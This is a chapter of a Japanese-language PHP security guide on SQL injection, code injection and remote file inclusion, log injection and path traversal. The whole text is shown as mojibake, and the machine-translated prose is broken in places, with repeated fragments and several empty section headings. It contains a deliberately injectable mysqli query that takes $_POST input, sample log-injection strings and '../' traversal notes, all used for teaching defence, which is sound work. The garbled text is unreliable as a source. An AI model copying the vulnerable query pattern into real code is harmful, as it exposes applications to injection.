
ãPHPã®ã»ãã¥ãªãã£ããšããæ¬ïŒããŒã1ïŒ
OWASPããŒãžã§ã³ã«ãã10ã®æãäžè¬çãªæ»æã®ãªã¹ãã§ã¯ãæåã®2ã€ã®å Žæã¯ã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³æ»æãšXSSïŒã¯ãã¹ãµã€ãã¹ã¯ãªããïŒã§å ããããŠããŸãã XSSã¯ä»ã®å€ãã®çš®é¡ã®æ»æãšåæ§ã«ãå®è£
æ»æã®æåã«äŸåããããããããã¯å¯æ¥ã«é¢é£ããŠããŸãã ãã®ååã®äžã«ããã®ã¯æ»æã®ã¯ã©ã¹å
šäœã§ããããã®éã«ããŒã¿ãWebã¢ããªã±ãŒã·ã§ã³ã«æ³šå
¥ãããæ»æè
ãå¿
èŠãšããæ¹æ³ã§æªæã®ããã³ãŒããå®è¡ãŸãã¯è§£éããããã«åŒ·å¶ããŸãã ãã®ãããªæ»æã«ã¯ãããšãã°ãXSSãSQLã€ã³ãžã§ã¯ã·ã§ã³ãããããŒã€ã³ãžã§ã¯ã·ã§ã³ãã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ããã«ãã¹é瀺ãå«ãŸããŸãã ãããŠãããã¯ã»ãã®äžéšã§ãã
å®è£
æ»æã¯ããã¹ãŠã®ããã°ã©ãã«ãšã£ãŠæããã話ã§ãã ãããã¯ããããã«å¯Ÿããä¿è·ã®å€æ§æ§ãèŠæš¡ãããã³ïŒå Žåã«ãã£ãŠã¯ïŒè€éãã«ãããæãäžè¬çã§æåããŠããŸãã ãã¹ãŠã®ã¢ããªã±ãŒã·ã§ã³ã¯ãã©ããããããŒã¿ãååŸããå¿
èŠããããŸãã XSSãšUI Redressã¯ç¹ã«äžè¬çã§ãããããç§ã¯ãããã«åå¥ã®ç« ãèšããããããäžè¬ã¯ã©ã¹ããåé¢ããŸããã
OWASPã¯ãå±éã«é¢ããæ¬¡ã®æ»æã®å®çŸ©ãæäŸããŸãã
SQLãOSãLDAPãªã©ã®å±éæ©èœã¯ãã€ã³ã¿ãŒããªã¿ãŒãã³ãã³ããªã¯ãšã¹ãã®äžéšãšããŠä¿¡é Œã§ããªãããŒã¿ãåä¿¡ãããšãã«çºçããŸãã æªæã®ããããŒã¿ã¯ãã€ã³ã¿ãŒããªã¿ãŒãã ãŸããç¹å®ã®ã³ãã³ããå®è¡ãããããèš±å¯ãããŠããªãããŒã¿ã«ã¢ã¯ã»ã¹ããããããå¯èœæ§ããããŸãã
SQLã€ã³ãžã§ã¯ã·ã§ã³
SQLã€ã³ãžã§ã¯ã·ã§ã³ã¯ãæãäžè¬çã§éåžžã«å±éºãªåœ¢åŒã®ã€ã³ãžã§ã¯ã·ã§ã³æ»æã§ãã ãã®è
åšã®é倧床ãé倧è©äŸ¡ããããšã¯å°é£ã§ãããã®ãããæ»æã®æåã«åœ±é¿ãäžãããã®ãšãæ»æãã身ãå®ãæ¹æ³ãçè§£ããããšãéåžžã«éèŠã§ãã
ãã®ãããããŒã¿ã¯Webã¢ããªã±ãŒã·ã§ã³ã«åã蟌ãŸããSQLã¯ãšãªã§äœ¿çšãããŸãã ãããã¯éåžžãWebãã©ãŒã ãªã©ã®ä¿¡é Œæ§ã®äœãå
¥åãœãŒã¹ããã®ãã®ã§ãã ãã ããå®è£
ã¯ä»ã®å Žæãããšãã°ããŒã¿ããŒã¹èªäœããå®è¡ã§ããŸãã ããã°ã©ããŒã¯ãããŒã¿ããŒã¹ã®å®å
šãªã»ãã¥ãªãã£ããã°ãã°ä¿¡ããŠããŸãããããå Žåã«å®å
šã ã£ããšããŠããããã¯å°æ¥çã«å®å
šã§ãããšããæå³ã§ã¯ãããŸããã ããŒã¿ããŒã¹ããã®ããŒã¿ã¯ãå¥ã®æ¹æ³ã§èšŒæããããŸã§ãã€ãŸãæ€èšŒããããŸã§ãä¿¡é Œã§ããªããšèŠãªãããå¿
èŠããããŸãã
æ»æãæåããå Žåãæ»æè
ã¯SQLã¯ãšãªãæäœããŠãéçºè
ãæå³ããŠããªãæäœãããŒã¿ããŒã¹ã§å®è¡ã§ããããã«ããŸãã
次ã®ã¯ãšãªãã芧ãã ããã
$db = new mysqli('localhost', 'username', 'password', 'storedb'); $result = $db->query( 'SELECT * FROM transactions WHERE user_id = ' . $_POST['user_id'] );
ããããã®æ ªããããŸãã ãŸãã user_id
ã®æ£ç¢ºæ§ã«ã€ããŠPOSTããŒã¿ã®å
容ããã§ãã¯ããŸããã§ããã æ¬¡ã«ã user_id
ãœãŒã¹user_id
䜿çšããuser_id
æããŠããuser_id
ãæ»æè
ã¯æå¹ãªuser_id
ããæããããšãã§ãuser_id
ã ããããããã©ãŒã ã®é衚瀺ãã£ãŒã«ãã«å«ãŸããŠããã®ã§ãç·šéã§ããªãããïŒå®å
šãªãšèŠãªãããïŒïŒæ»æè
ãããŒã¿ãå
¥åã§ããããšãå¿ããªããïŒã 3çªç®ã«ã user_id
ãã¹ã¯ãªãŒãã³ã°ããããã©ã¡ãŒã¿ãŒïŒãã€ã³ããã©ã¡ãŒã¿ãŒïŒãšããŠã¯ãšãªã«æž¡ããŸããã§ãããããã«ãããæ»æè
ã¯ãæåã«ãã§ãã¯ã§ããªããããSQLã¯ãšãªãæäœããä»»æã®æååãæ¿å
¥ã§ããŸãã
ãããã®3ã€ã®çç¥ã¯ãWebã¢ããªã±ãŒã·ã§ã³ã§ã¯éåžžã«äžè¬çã§ãã
ããŒã¿ããŒã¹ã®ä¿¡é Œã«é¢ããŠã¯ã user_name
ãã£ãŒã«ãã䜿çšããŠãã©ã³ã¶ã¯ã·ã§ã³ãæ¢ããŠãããšæ³åããŠãã ããã ååã®ç¯å²ã¯åºããåŒçšç¬Šãå«ããããšãã§ããŸãã æ»æè
ããŠãŒã¶ãŒåã®1ã€ã«åã蟌ãŸããæååå€ãä¿åãããšããŸãã æ¬¡ã®ã¯ãšãªã®ããããã§ãã®å€ãå床䜿çšãããšãããŒã¿ããŒã¹ãä¿¡é Œã§ãããœãŒã¹ãšèŠãªãã䟵害ãããèŠæ±ãåé¢ãŸãã¯å¶éããªãã£ããããã¯ãšãªæååãæäœããŸãã
ãŸããå¥ã®SQLã€ã³ãžã§ã¯ã·ã§ã³ãã¡ã¯ã¿ãŒã«æ³šæããŠãã ããããµãŒããŒã«æ°žç¶ã¹ãã¬ãŒãžãåžžã«ä¿æããå¿
èŠã¯ãããŸããã HTML 5ã¯ãSQLãšJavaScriptã䜿çšããŠã¯ãšãªãéä¿¡ã§ããã¯ã©ã€ã¢ã³ãåŽããŒã¿ããŒã¹ã®äœ¿çšããµããŒãããŠããŸãã ããã«ã¯ãWebSQLãšIndexedDBã®2ã€ã®APIããããŸãã 2010幎ãW3Cã¯WebSQLã®éžæãæšå¥šããŸããã§ããã SQLiteãããã¯ãšã³ããšããŠäœ¿çšããWebKitãã©ãŠã¶ãŒã§ãµããŒããããŠããŸãã ã»ãšãã©ã®å ŽåãW3Cã®æšå¥šã«ãããããããäžäœäºææ§ã®ããã«ãµããŒããæ®ããŸãã ãã®ååã瀺ãããã«ããã®APIã¯SQLã¯ãšãªãåãå
¥ããŸããã€ãŸããå®è£
ã«ããæ»æã®æšçã«ãªãå¯èœæ§ããããŸãã IndexedDBã¯ãæ°ãã代æ¿ã®NoSQLããŒã¿ããŒã¹ã§ãïŒSQLã¯ãšãªã䜿çšããå¿
èŠã¯ãããŸããïŒã
SQLã€ã³ãžã§ã¯ã·ã§ã³ã®äŸ
SQLã¯ãšãªã®æäœã«ã¯ã次ã®ç®æšããããŸãã
- ããŒã¿æŒæŽ©ã
- ä¿åãããæ
å ±ã®é瀺ã
- ä¿åãããæ
å ±ã®æäœã
- èš±å¯ã®ãã€ãã¹ã
- ã¯ã©ã€ã¢ã³ãåŽã®SQLã€ã³ãžã§ã¯ã·ã§ã³ã
SQLã€ã³ãžã§ã¯ã·ã§ã³ä¿è·
SQLã€ã³ãžã§ã¯ã·ã§ã³ä¿è·ã¯ãåé¢ã®ååã«åºã¥ããŠããŸãã ãªã¯ãšã¹ãã§ããŒã¿ã䜿çšããåã«ããã©ãŒã ãæ£ããããšã確èªããå¿
èŠããããŸãã ãŸãããªã¯ãšã¹ãã«å«ããåã«ããŒã¿ãåé¢ããããé·ç§»ãã©ã¡ãŒã¿ãŒãšããŠå«ããå¿
èŠããããŸãã
確èªãã
ç¹°ãè¿ãããšã«ããããããŠããŸãããçŸåšã®ãªã¯ãšã¹ãã®PHPãœãŒã¹ã³ãŒãã§æç€ºçã«äœæãããªãã£ããã¹ãŠã®ããŒã¿ã¯ä¿¡é Œã§ããŸããã ããããå³å¯ã«ãã§ãã¯ãããã§ãã¯ã«åæ Œããªãã£ããã®ã¯ãã¹ãŠæåŠããŸãã ããŒã¿ããä¿®æ£ãããããšããªãã§ãã ããã圢åŒã«ããããªè¡šé¢çãªå€æŽã®ã¿ãå ããããšãã§ããŸãã
äžè¬çãªãšã©ãŒã«ã¯ãçŸåšã®ãããªã䜿çšã®ããã«ããŒã¿ããã§ãã¯ããããšïŒããšãã°ãç»é¢ã«è¡šç€ºããããã³ã³ãã¥ãŒãã£ã³ã°ããããïŒããçµæãšããŠæ
å ±ãä¿åãããããŒã¿ããŒã¹ãã£ãŒã«ãããã§ãã¯ããªãããšãå«ãŸããŸãã
ã·ãŒã«ã
mysqli
æ¡åŒµæ©èœã䜿çšãããšãSQLã¯ãšãªã«å«ãŸãããã¹ãŠã®ããŒã¿ãåé¢ã§ããŸãã ããã¯ã mysqli_real_escape_string()
颿°ã«ãã£ãŠè¡ãããŸãã PostgresSQLã®pgsql
æ¡åŒµã¯ã颿°pg_escape_bytea()
ã pg_escape_identifier()
ã pg_escape_literal()
ããã³pg_escape_string()
ãŸãã mssql (Microsoft SQL Server)
æ¡åŒµæ©èœmssql (Microsoft SQL Server)
ã«ã¯åé¢é¢æ°ã¯ãªãã addslashes()
ã䜿çšããã¢ãããŒãaddslashes()
éå¹ççã§ãã ã«ã¹ã¿ã 颿°ãå¿
èŠã§ãã
ããªãã®äººçãããã«è€éã«ããããã«ããªã¯ãšã¹ãã«å
¥åãããããŒã¿ãåé¢ããéã«ééããç¯ãæš©å©ã¯ãªããšèšããŸãã ã¯ã³ãã¹-ãããŠãããªãã¯æ»æã«å¯ŸããŠè匱ã§ãã
ãŸãšãããšã ã·ãŒã«ãã¯æè¯ã®ä¿è·ãªãã·ã§ã³ã§ã¯ãããŸããã æåŸã®ææ®µãšããŠé Œã䟡å€ããããŸãã ããŒã¿ããŒã¹ã©ã€ãã©ãªã§ããã©ã¡ãŒã¿ã匷å¶ããã«ãã¢SQLã¯ãšãªãŸãã¯ã¯ãšãªããŒããæ§æã§ããå Žåã«å¿
èŠã«ãªãããšããããŸãã ãã以å€ã®å Žåã¯ãåé¢ãå®å
šã«åé¿ããããšããå§ãããŸãã ãã®ã¢ãããŒãã¯è€éã§ããšã©ãŒãåŒãèµ·ãããããŒã¿ããŒã¹ã®æ¡åŒµã«å¿ããŠç°ãªããŸãã
ãã©ã¡ãŒã¿åãããã¯ãšãªïŒæºåæžã¿ã®åŒïŒ
ãã©ã¡ãŒã¿åããŸãã¯ãã©ã¡ãŒã¿ãã€ã³ãã£ã³ã°ã¯ãSQLã¯ãšãªãäœæããããã®æšå¥šãããæ¹æ³ã§ãã ãã¹ãŠã®åªããããŒã¿ããŒã¹ã©ã€ãã©ãªã¯ãããã©ã«ãã§ããã䜿çšããŸãã PHPã®PDOæ¡åŒµæ©èœã䜿çšããäŸã次ã«ç€ºããŸãã
if(ctype_digit($_POST['id']) && is_int($_POST['id'])) { $validatedId = $_POST['id']; $pdo = new PDO('mysql:store.db'); $stmt = $pdo->prepare('SELECT * FROM transactions WHERE user_id = :id'); $stmt->bindParam(':id', $validatedId, PDO::PARAM_INT); $stmt->execute(); } else {
PDOåŒã§äœ¿çšã§ããbindParam()
ã¡ãœããã䜿çšãããšãå®çŸ©æžã¿ã®åŒã§è¡šãããããã¬ãŒã¹ãã«ããŒãã«ãã©ã¡ãŒã¿ãŒããã€ã³ãã§ããŸãã ãã®ã¡ãœããã¯ã PDO::PARAM_INT
ã PDO::PARAM_BOOL
ã PDO::PARAM_LOB
ããã³PDO::PARAM_STR
ãªã©ã®åºæ¬ããŒã¿åã®ãã©ã¡ãŒã¿ãŒãåãå
¥ããŸãã PDO::PARAM_STR
ããã¯ç¹ã«æå®ããªãéãããã©ã«ãã§å®è¡ããããããä»ã®å€ãå¿ããªãã§ãã ããïŒ
æååé¢ãšã¯ç°ãªãããã©ã¡ãŒã¿ãã€ã³ãã£ã³ã°ïŒãŸãã¯ããŒã¿ããŒã¹ã©ã€ãã©ãªã§äœ¿çšãããå¥ã®æ¹æ³ïŒã¯ãèªåçã«æ·»ä»ãããããŒã¿ãæ£ããåé¢ããããã䜿çšãã颿°ãèŠããŠããå¿
èŠã¯ãããŸããã ãŸããäžè²«ãããã©ã¡ãŒã¿ãŒãã€ã³ãã£ã³ã°ã¯ããã¹ãŠãæåã§åé¢ããå¿
èŠãããããšãå¿ããªãããã«ãããããã¯ããã«ä¿¡é Œæ§ããããŸãã
æå°ç¹æš©ã®å®è£
æåããSQLå®è£
ãäžæ¢ããããšã¯ããããå®å
šã«é²ãããšãšåããããéèŠã§ãã æ»æè
ãSQLã¯ãšãªãå®è¡ã§ããããã«ãªããšãç¹å®ã®ããŒã¿ããŒã¹ãŠãŒã¶ãŒãšããŠå®è¡ããŸãã æå°ç¹æš©ã®ååã«ããããã¹ãŠã®ãŠãŒã¶ãŒãã¿ã¹ã¯ãå®è¡ããããã«çµ¶å¯Ÿã«å¿
èŠãªç¹æš©ã®ã¿ãæã£ãŠããããšã確èªã§ããŸãã
ãŠãŒã¶ãŒã«å¹
åºãæš©éãããå Žåãæ»æè
ã¯ããŒãã«ãåé€ããä»ã®ãŠãŒã¶ãŒã®æš©éã倿ŽããŠããŠãŒã¶ãŒã«ä»£ãã£ãŠæ°ããSQLã€ã³ãžã§ã¯ã·ã§ã³ãå®è¡ã§ããŸãã ãããåé¿ããã«ã¯ãã«ãŒãã管çè
ããŸãã¯é«ãæš©éãæã€ä»ã®ãŠãŒã¶ãŒã«ä»£ãã£ãŠãWebã¢ããªã±ãŒã·ã§ã³ããããŒã¿ããŒã¹ã«ã¢ã¯ã»ã¹ããªãã§ãã ããã
ãã®ååã®ãã1ã€ã®çšéã¯ãããŒã¿ããŒã¹ã«å¯ŸããããŒã¿ã®èªã¿åããšæžã蟌ã¿ã®åœ¹å²ã®åé¢ã§ãã æžã蟌ã¿å°çšã¢ã¯ã»ã¹èš±å¯ãæã€ãŠãŒã¶ãŒãšèªã¿åãå°çšã¢ã¯ã»ã¹èš±å¯ãæã€å¥ã®ãŠãŒã¶ãŒãéžæããŸãã æ»æããèªã¿åãããŠãŒã¶ãŒã«åããããŠããå Žåãæ»æè
ã¯ããŒãã«å
ã®ããŒã¿ãæäœããããæžã蟌ãããšãã§ããŸããã ããã«çããã¬ãŒã ã¯ãŒã¯å
ã§ã¢ã¯ã»ã¹ãå¶éããããšã«ãããæåããSQLã€ã³ãžã§ã¯ã·ã§ã³æ»æã®åœ±é¿ãæžããããšãã§ããŸãã
å€ãã®Webã¢ããªã±ãŒã·ã§ã³ãç¹ã«ãªãŒãã³ãœãŒã¹ã¢ããªã±ãŒã·ã§ã³ã¯ãç¹æš©ã¬ãã«ãã»ãšãã©ç¢ºå®ã«ãã§ãã¯ãããªãããŒã¿ããŒã¹ãŠãŒã¶ãŒã1人ã ã䜿çšããããã«èšèšãããŠããŸãã ãããã£ãŠããã®ç¬éãå¿ããªãã§ãã ããããŸãã管çè
ã¢ã«ãŠã³ãã§ã¢ããªã±ãŒã·ã§ã³ãå®è¡ããããšããªãã§ãã ããã
ã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ïŒãªã¢ãŒããã¡ã€ã«ã€ã³ã¯ã«ãŒãžã§ã³ïŒ
ã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ãšã¯ãæ»æè
ãWebã¢ããªã±ãŒã·ã§ã³ã«ãœãŒã¹ã³ãŒãã远å ãããããè§£éããŠå®è¡ã§ããããã«ããææ®µã§ãã åæã«ãããšãã°JavaScriptãªã©ã®ã¯ã©ã€ã¢ã³ãéšåã«ã³ãŒããåã蟌ãããšã«ã€ããŠã¯è©±ããŠããŸãã;ããã§ã¯ãXSSæ»æããã§ã«äœ¿çšãããŠããŸãã
ä¿¡é Œæ§ã®äœãå
¥åãœãŒã¹ãããœãŒã¹ã³ãŒããçŽæ¥åã蟌ãããWebã¢ããªã±ãŒã·ã§ã³ã«ããŒã«ã«ãã¡ã€ã«ã·ã¹ãã ãŸãã¯URLãªã©ã®å€éšãªãœãŒã¹ãã匷å¶çã«ããŠã³ããŒããããããšãã§ããŸãã å€éšãœãŒã¹ãã€ã³ã¯ã«ãŒãããçµæãšããŠã³ãŒããæ¿å
¥ãããå Žåãéåžžã¯ãªã¢ãŒããã¡ã€ã«ã€ã³ã¯ã«ãŒãžã§ã³ïŒRFIïŒãšåŒã°ããŸãããRFIèªäœã¯åžžã«ã³ãŒããæ¿å
¥ããããšãç®çãšããŠããŸãã
ã³ãŒããå®è£
ããäž»ãªçç±ã¯æ¬¡ã®ãšããã§ãã
- å
¥åæ€èšŒãã€ãã¹ã
- PHPã³ãŒããšèŠãªãããã³ã³ããã¹ãã«ä¿¡é Œæ§ã®äœãå
¥åããŒã¿ãåã蟌ã
- ãœãŒã¹ã³ãŒããªããžããªã®ã»ãã¥ãªãã£ã®ãããã³ã°ã
- ãµãŒãããŒãã£ã©ã€ãã©ãªã®ããŒãã«é¢ããèŠåãç¡å¹ã«ããŸãã
- PHP以å€ã®ãã¡ã€ã«ãPHPã€ã³ã¿ãŒããªã¿ãŒã«è»¢éããããã«ãµãŒããŒãåæ§æããŸãã
æåŸã®ç¹ã«ç¹ã«æ³šæããŠãã ããããã®å Žåãä¿¡é Œã§ããªããŠãŒã¶ãŒããµãŒããŒã«ãã¡ã€ã«ãã¢ããããŒãã§ããŸãã
ã³ãŒãæ¿å
¥ã®äŸ
PHPã«ã¯ã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã«é¢ããå€ãã®ç®æšãããããããã®çš®ã®æ»æã¯ããã°ã©ãã®ãŠã©ãããªã¹ãããªãŒãããŸãã
ãã¡ã€ã«ã®å
å«
ã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã®æãæçœãªç®æšã¯ã include()
ã include_once()
ã require()
ããã³require_once()
颿°ã§ãã ä¿¡é Œã§ããªãå
¥åããŒã¿ã«ããããããã®é¢æ°ã«æž¡ãããpath
ãã©ã¡ãŒã¿ãŒã決å®ã§ããå Žåãå«ãããã¡ã€ã«ã®éžæããªã¢ãŒãã§å¶åŸ¡ã§ããŸãã å«ãŸãããã¡ã€ã«ã¯å®éã®PHPãã¡ã€ã«ã§ããå¿
èŠã¯ãªããããã¹ãããŒã¿ãæ ŒçŽã§ãã圢åŒã®ãã¡ã€ã«ã䜿çšã§ããŸãïŒã€ãŸããã»ãšãã©å¶éãªãïŒã
path
ãã©ã¡ãŒã¿ã¯ããã£ã¬ã¯ããªãã©ããŒãµã«æ»æãŸãã¯ãªã¢ãŒããã¡ã€ã«ã®ã€ã³ã¯ã«ãŒãã«å¯ŸããŠè匱ã§ããå¯èœæ§ããããŸãã path
ã§../ãŸãã¯...æåã®çµã¿åããã䜿çšãããšãæ»æè
ã¯PHPããã»ã¹ãã¢ã¯ã»ã¹ã§ããã»ãŒãã¹ãŠã®ãã¡ã€ã«ã«ãžã£ã³ãã§ããŸãã åæã«ãPHPæ§æã§ã¯ãããã©ã«ãã§ãallow_url_includeãç¡å¹ã«ãªã£ãŠããªãå Žåãäžèšã®é¢æ°ã¯URLãåãå
¥ããŸãã
確èªãã
PHP颿°eval()
ã¯ãå®è¡ã®ããã«PHPã³ãŒãã1è¡åãåããŸãã
æ£èŠè¡šçŸã€ã³ãžã§ã¯ã·ã§ã³
PHPã®PCRE颿°ïŒPerläºæã®æ£èŠè¡šçŸïŒ preg_replace()
ã§ã¯ãe修食åïŒPREG_REPLACE_EVALïŒã䜿çšã§ããŸãã ããã¯ã眮æåŸã«PHPã³ãŒããšèŠãªããã眮ææååãæå³ããŸãã ãŸãããã®è¡ã«ä¿¡é Œæ§ã®äœãå
¥åãããå Žåãå®è¡å¯èœãªPHPã³ãŒããæ¿å
¥ã§ããŸãã
äžå®å
šãªãã¡ã€ã«å
å«ããžãã¯
å®çŸ©äžãWebã¢ããªã±ãŒã·ã§ã³ã«ã¯ãèŠæ±ã®åŠçã«å¿
èŠãªãã¡ã€ã«ãå«ãŸããŠããŸãã ã«ãŒãã£ã³ã°ãäŸåé¢ä¿ç®¡çãèµ·åãããã³ãã®ä»ã®ããã»ã¹ã®ããžãã¯ã®æ¬ é¥ãå©çšããå Žåããªã¯ãšã¹ããŸãã¯ãã®ãã©ã¡ãŒã¿ãŒã®ãã¹ãæäœãããšããµãŒããŒã«ç¹å®ã®ããŒã«ã«ãã¡ã€ã«ãå«ãŸããããã«ãªããŸãã Webã¢ããªã±ãŒã·ã§ã³ã¯ãã®ãããªæäœãåŠçããããã«èšèšãããŠããªããããçµæã¯äºæž¬äžèœã§ãã ããšãã°ãã¢ããªã±ãŒã·ã§ã³ã¯ãã³ãã³ãã©ã€ã³ã§ã®äœ¿çšã®ã¿ãæå³ããã«ãŒããæå³ããã«ç¹ç¯ããŸãã ãŸãã¯ããã¶ã€ããŒãã¿ã¹ã¯ãå®è¡ããä»ã®ã¯ã©ã¹ã衚瀺ããŸãïŒãã®ãããªã¯ã©ã¹ãèšèšããªãæ¹ãè¯ãã§ãããããã§ãçºçããŸãïŒã ãããã®ã·ããªãªã¯ãããããã¢ããªã±ãŒã·ã§ã³ã®ããã¯ãšã³ãæäœã«å¹²æžããå¯èœæ§ããããŸããããã«ãããçŽæ¥ã¢ã¯ã»ã¹ãæå³ããªããªãœãŒã¹éäžåã®æäœã«å¯ŸããŠããŒã¿ãæäœããããDOSæ»æãå®è¡ãããã§ããŸãã
ã³ãŒãå®è£
ã¿ã¹ã¯
ãã®ã¿ã€ãã®æ»æã«ãããä»»æã®PHPã³ãŒããå®è¡ã§ãããããã¿ã¹ã¯ã®ç¯å²ã¯éåžžã«åºãã§ãã
ã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã«å¯Ÿããé²åŸ¡
ã³ãã³ãã€ã³ãžã§ã¯ã·ã§ã³
ã³ãã³ãã€ã³ãžã§ã¯ã·ã§ã³ã®äŸ
ã³ãã³ãã€ã³ãžã§ã¯ã·ã§ã³ã«å¯Ÿããé²åŸ¡
ãã°ã€ã³ãžã§ã¯ã·ã§ã³ïŒãã°ãã¡ã€ã«ã€ã³ãžã§ã¯ã·ã§ã³ïŒ
å€ãã®ã¢ããªã±ãŒã·ã§ã³ã¯ãã°ãåéããèš±å¯ããããŠãŒã¶ãŒã¯ãã°ãã°HTMLã€ã³ã¿ãŒãã§ãŒã¹ãä»ããŠãã°ã衚瀺ããŸãã ãããã£ãŠããã°ã¯ãä»ã®æ»æãåœè£
ãããã°ã衚瀺ããäººãæ¬ºããããã«ã¯ãã°ãèªã¿åã£ãŠåæããç£èŠã¢ããªã±ãŒã·ã§ã³ã®ãŠãŒã¶ãŒãæ»æãããæ»æè
ã®äž»ãªç®æšã®1ã€ã§ãã
ãã°ã®è匱æ§ã¯ããã°ã®èšé²ãå¶åŸ¡ããã¡ã«ããºã ãšããã°ã衚瀺ããã³åæããéã®ä¿¡é Œã§ããªããœãŒã¹ãšããŠã®ãã°ããŒã¿ã®åŠçã«äŸåããŸãã
åçŽãªãã®ã³ã°ã·ã¹ãã ã¯ã file_put_contents()
ã䜿çšããŠããã¹ãæååãfile_put_contents()
æžã蟌ãããšãã§ããŸãã ããšãã°ãããã°ã©ããŒã¯èª€ã£ãæ¿èªã®è©Šã¿ã次ã®åœ¢åŒã®æååã®åœ¢åŒã§ç»é²ããŸãã
sprintf("Failed login attempt by %s", $username);
ããããæ»æè
ããã©ãŒã ã§ãAdminnã«ããAdminnSuccessful loginããšããååã䜿çšãããšã©ããªããŸããïŒ
ãã®è¡ãä¿¡é Œã§ããªãå
¥åããŒã¿ãããã°ã«æ¿å
¥ãããå Žåãæ»æè
ã¯ç®¡çè
ãã¹ã¯ãŒããå
¥åããç¡å®³ãªå€±æã䜿çšããŠã倱æããèªèšŒè©Šè¡ãæ£åžžã«ãã¹ã¯ããŸãã æåãããã°ã€ã³è©Šè¡ã远å ãããšãããŒã¿ã®äžå¯©æ§ã¯ããã«äœäžããŸãã
ããã§ã®å
šäœã®ãã€ã³ãã¯ãæ»æè
ãããããçš®é¡ã®ãšã³ããªããã°ã«è¿œå ã§ããããšã§ãã XSSãã¯ãã«ããã³ã³ãœãŒã«ã§ãã°ãšã³ããªãèªã¿ã«ããããæåãåã蟌ãããšãã§ããŸãã
ãã°å®è£
ã¿ã¹ã¯
å®è£
ã®ç®æšã®1ã€ã¯ããã°åœ¢åŒã®ã€ã³ã¿ãŒããªã¿ãŒã§ãã åæããŒã«ãæ£èŠè¡šçŸã䜿çšããŠãã°ãšã³ããªãè§£æããããããéšåã«åå²ããŠç°ãªããã£ãŒã«ãã«åæ£ãããå Žåãæ£èŠè¡šçŸãæ£ãããã£ãŒã«ãã§ã¯ãªãåã蟌ã¿ãã£ãŒã«ããéžæããè¡ãäœæããã³å®è£
ã§ããŸãã ããšãã°ããã®ãšã³ããªã¯ããã€ãã®åé¡ã®åå ã«ãªããŸãã
$username = "iamnothacker! at Mon Jan 01 00:00:00 +1000 2009"; sprintf("Failed login attempt by %s at %s", $username, )
ãã°ã®å°å
¥ã«ããããé«åºŠãªæ»æã¯ããã©ãŠã¶ã§ãã°ã衚瀺ããããã®ãã£ã¬ã¯ããªãã©ããŒãµã«ã䜿çšããæ»æã«åºã¥ããŠããŸãã é©åãªæ¡ä»¶äžã§ããã°ã¡ãã»ãŒãžã«PHPã³ãŒããåã蟌ã¿ããã©ãŠã¶ã§ãšã³ããªãå«ããã¡ã€ã«ãéããšãæ»æè
ã®èŠæ±ã«å¿ããŠé©åã«ãã©ãŒããããããå®è¡ãããã³ãŒãã®å®è£
ãæåããŸãã ãããŠããµãŒããŒäžã§æªæã®ããPHPãå®è¡ããããšã«ãªããšãæå®³ã軜æžã§ããä¿è·ã®åé¢ã®æå¹æ§ã®ã¿ãæåŸ
ã§ããŸãã
ãã®ã³ã°ã«å¯Ÿããä¿è·
æãç°¡åãªæ¹æ³ã¯ããã¯ã€ããªã¹ãã䜿çšããŠãã¹ãŠã®å€éšãã°ã¡ãã»ãŒãžããã£ã«ã¿ãªã³ã°ããããšã§ãã æåã»ãããæ°åãæåãã¹ããŒã¹ã«å¶éãããšããŸãã æªè§£æ±ºã®æåãå«ãã¡ãã»ãŒãžã¯ç ŽæããŠãããšèŠãªãããŸãã æ¬¡ã«ããã°ãã¡ã€ã«ãå®è£
ããæœåšçãªè©Šã¿ã«é¢ãããã°ããžã£ãŒãã«ã«è¡šç€ºãããŸãã ããã¯ãã¡ãã»ãŒãžã«ä¿¡é Œã§ããªãå
¥åãå«ããããšãé¿ããããªãå Žåã«ãåçŽãªããã¹ããã°ãä¿è·ããç°¡åãªæ¹æ³ã§ãã
ä¿è·ã®2çªç®ã®æ¹æ³ã¯ãæåã®éãããã»ããããµããŒãããbase64ãªã©ã®ã·ã¹ãã ã䜿çšããŠãä¿¡é Œã§ããªãå
¥åããŒã¿ã®äžéšã倿ããäžæ¹ã§ãããŸããŸãªæ
å ±ãããã¹ã圢åŒã§ä¿åããããšã§ãã
ãã¹ãã©ããŒãµã«ïŒãã£ã¬ã¯ããªãã©ããŒãµã«ãšåŒã°ããïŒ
ãã©ããŒãµã«æ»æã¯ãWebã¢ããªã±ãŒã·ã§ã³ã®ããã¯ãšã³ãã®ãã¡ã€ã«ã®èªã¿åããŸãã¯æžãèŸŒã¿æäœã«åœ±é¿ãäžãã詊ã¿ã§ãã ããã¯ãããã¯ãšã³ãæäœã«é¢ä¿ãããã¡ã€ã«ã®ãã¹ãæäœã§ããããã«ãããã©ã¡ãŒã¿ãŒãå°å
¥ããããšã«ãã£ãŠè¡ãããŸãã ãããã£ãŠããã®ã¿ã€ãã®æ»æã¯ãæ
å ±é瀺ãšããŒã«ã«/ãªã¢ãŒããã¡ã€ã«ã€ã³ãžã§ã¯ã·ã§ã³ãä¿é²ããŸãã
ãã®ãããªæ»æãåå¥ã«æ€èšããŸãããæåã®æ ¹æ ã¯æ£ç¢ºã«ãã¹ãåé¿ããããšã«ãããŸãã 以äžã§èª¬æãã颿°ã¯ãã¡ã€ã«ãã¹ã®æäœã«åºæã®ãã®ã§ãããããå€ãã®PHP颿°ã¯éåžžã®æå³ã§ã®ãã¡ã€ã«ãã¹ãåãå
¥ããªãããšã«èšåããã®ã¯çã«ããªã£ãŠããŸãã 代ããã«ã include()
ãfile()
ãªã©ã®é¢æ°include()
URIãåãå
¥ããŸãã
ããã¯å®å
šã«äžèªç¶ã«èŠããŸãã ãã ããããã¯ã絶察ãã¹ã䜿çšããæ¬¡ã®2ã€ã®é¢æ°åŒã³åºããåçã§ããããšãæå³ããŸãïŒããšãã°ãçžå¯Ÿãã¹ã®ãªãŒãããŒãã«äŸåããªãïŒã
include('/var/www/vendor/library/Class.php'); include('file:///var/www/vendor/library/Class.php');
å®éãçžå¯Ÿãã¹ã¯å€éšã§åŠçãããŸãïŒphp.iniã®include_path
èšå®ããã³å©çšå¯èœãªãªãŒãããŒããŒïŒã ãã®ãããªå Žåããã¡ã€ã«ãã¹ã®å
é ã«ä¿¡é Œã§ããªãããŒã¿ãå°å
